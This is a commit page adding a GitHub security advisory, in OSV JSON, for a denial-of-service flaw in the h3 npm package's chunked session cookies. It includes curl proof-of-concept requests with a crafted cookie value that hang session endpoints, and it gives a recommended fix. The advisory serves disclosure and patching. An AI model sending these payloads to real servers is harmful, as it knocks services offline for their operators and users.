Skip to content

Commit 583d924

Browse files
1 parent 739f86a commit 583d924

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-q5pr-72pq-83v3",
4+
"modified": "2026-03-23T21:44:55Z",
5+
"published": "2026-03-23T21:44:55Z",
6+
"aliases": [],
7+
"summary": "H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service",
8+
"details": "## Summary\n\nThe `setChunkedCookie()` and `deleteChunkedCookie()` functions in h3 trust the chunk count parsed from a user-controlled cookie value (`__chunked__N`) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., `Cookie: h3=__chunked__999999`) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.\n\n## Details\n\nThe chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value `__chunked__N` indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.\n\nThe vulnerability is in `getChunkedCookieCount()` at `src/utils/cookie.ts:244-249`:\n\n```typescript\nfunction getChunkedCookieCount(cookie: string | undefined): number {\n if (!cookie?.startsWith(CHUNKED_COOKIE)) {\n return Number.NaN;\n }\n return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));\n // No upper bound check — attacker controls this value\n}\n```\n\nThis value is consumed without validation in the cleanup loop of `setChunkedCookie()` at `src/utils/cookie.ts:182-190`:\n\n```typescript\nconst previousCookie = getCookie(event, name); // reads from request headers\nif (previousCookie?.startsWith(CHUNKED_COOKIE)) {\n const previousChunkCount = getChunkedCookieCount(previousCookie);\n if (previousChunkCount > chunkCount) {\n for (let i = chunkCount; i <= previousChunkCount; i++) {\n deleteCookie(event, chunkCookieName(name, i), options);\n // Each deleteCookie → setCookie → scans ALL existing set-cookie headers\n }\n }\n}\n```\n\nThe same issue exists in `deleteChunkedCookie()` at `src/utils/cookie.ts:227-232`:\n\n```typescript\nconst chunksCount = getChunkedCookieCount(mainCookie);\nif (chunksCount >= 0) {\n for (let i = 0; i < chunksCount; i++) {\n deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);\n }\n}\n```\n\n**The exploit chain through sessions:**\n\n1. Attacker sends `Cookie: h3=__chunked__999999` to any session-using endpoint\n2. `getSession()` (`src/utils/session.ts:83`) calls `getChunkedCookie(event, \"h3\")` (line 124)\n3. `getChunkedCookie()` returns `undefined` — the early return at line 153 fires because no actual chunk cookies (e.g., `h3.1`) exist in the request\n4. Since `sealedSession` is undefined, `session.id` remains empty (line 140), triggering `updateSession()` (line 143)\n5. `updateSession()` calls `setChunkedCookie()` with the newly sealed session value (line 179)\n6. Inside `setChunkedCookie()`, `getCookie(event, name)` re-reads the original request cookie `__chunked__999999` at line 182\n7. `previousChunkCount` = 999999, `chunkCount` = 1 (new sealed session is small)\n8. The cleanup loop runs 999,998 iterations, each calling `deleteCookie()` → `setCookie()`\n9. Each `setCookie()` call reads ALL existing `set-cookie` response headers via `getSetCookie()` (line 91) and iterates through them for deduplication (lines 100-106)\n10. This creates O(n²) complexity — approximately 10¹² operations for n=999999\n\n**Key observation:** While `getChunkedCookie()` has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in `setChunkedCookie()` and `deleteChunkedCookie()` have no such protection and run unconditionally for the full claimed chunk count.\n\n## PoC\n\n**Prerequisites:** An h3 application with any endpoint using `getSession()` or `useSession()`.\n\nExample minimal server:\n\n```typescript\nimport { H3 } from \"h3\";\nimport { getSession } from \"h3\";\n\nconst app = new H3();\n\napp.get(\"/dashboard\", async (event) => {\n const session = await getSession(event, {\n password: \"my-secret-password-at-least-32-chars-long!\",\n });\n return { user: session.data.user || \"anonymous\" };\n});\n\nexport default app;\n```\n\n**Attack (single request, no authentication):**\n\n```bash\n# This single request will hang the server process\ncurl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard\n```\n\nFor a less extreme but still impactful test:\n\n```bash\n# ~100K iterations — will take several seconds and block all other requests\ncurl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard\n```\n\nThe `deleteChunkedCookie()` path is exploitable via `clearSession()`:\n\n```typescript\napp.post(\"/logout\", async (event) => {\n await clearSession(event, {\n password: \"my-secret-password-at-least-32-chars-long!\",\n });\n return { ok: true };\n});\n```\n\n```bash\ncurl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout\n```\n\n## Impact\n\n- **Complete Denial of Service**: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.\n- **No authentication required**: The attack only requires the ability to send HTTP requests with a crafted cookie header.\n- **Minimal attacker effort**: The payload is trivially small (`Cookie: h3=__chunked__999999`), making it easy to automate or repeat.\n- **Wide attack surface**: Any endpoint in the application that uses `getSession()`, `useSession()`, or `clearSession()` is vulnerable. Session usage is extremely common in web applications.\n- **Amplification**: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.\n\n## Recommended Fix\n\nAdd a maximum chunk count constant and validate in `getChunkedCookieCount()`:\n\n```typescript\nconst MAX_CHUNKED_COOKIE_COUNT = 100;\n\nfunction getChunkedCookieCount(cookie: string | undefined): number {\n if (!cookie?.startsWith(CHUNKED_COOKIE)) {\n return Number.NaN;\n }\n const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));\n if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {\n return Number.NaN;\n }\n return count;\n}\n```\n\nThis clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), `MAX_CHUNKED_COOKIE_COUNT = 100` is generous while eliminating the DoS vector.\n\nAdditionally, the callers should be updated to handle `NaN` safely. The cleanup loop in `setChunkedCookie()` already handles this correctly since `NaN > chunkCount` is false, so the loop won't execute. The `deleteChunkedCookie()` loop also handles it since `NaN >= 0` is false.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "h3"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "2.0.0-beta.4"
27+
},
28+
{
29+
"fixed": "2.0.1-rc.18"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/h3js/h3/security/advisories/GHSA-q5pr-72pq-83v3"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/h3js/h3"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-400"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-03-23T21:44:55Z",
53+
"nvd_published_at": null
54+
}
55+
}

0 commit comments

Comments
 (0)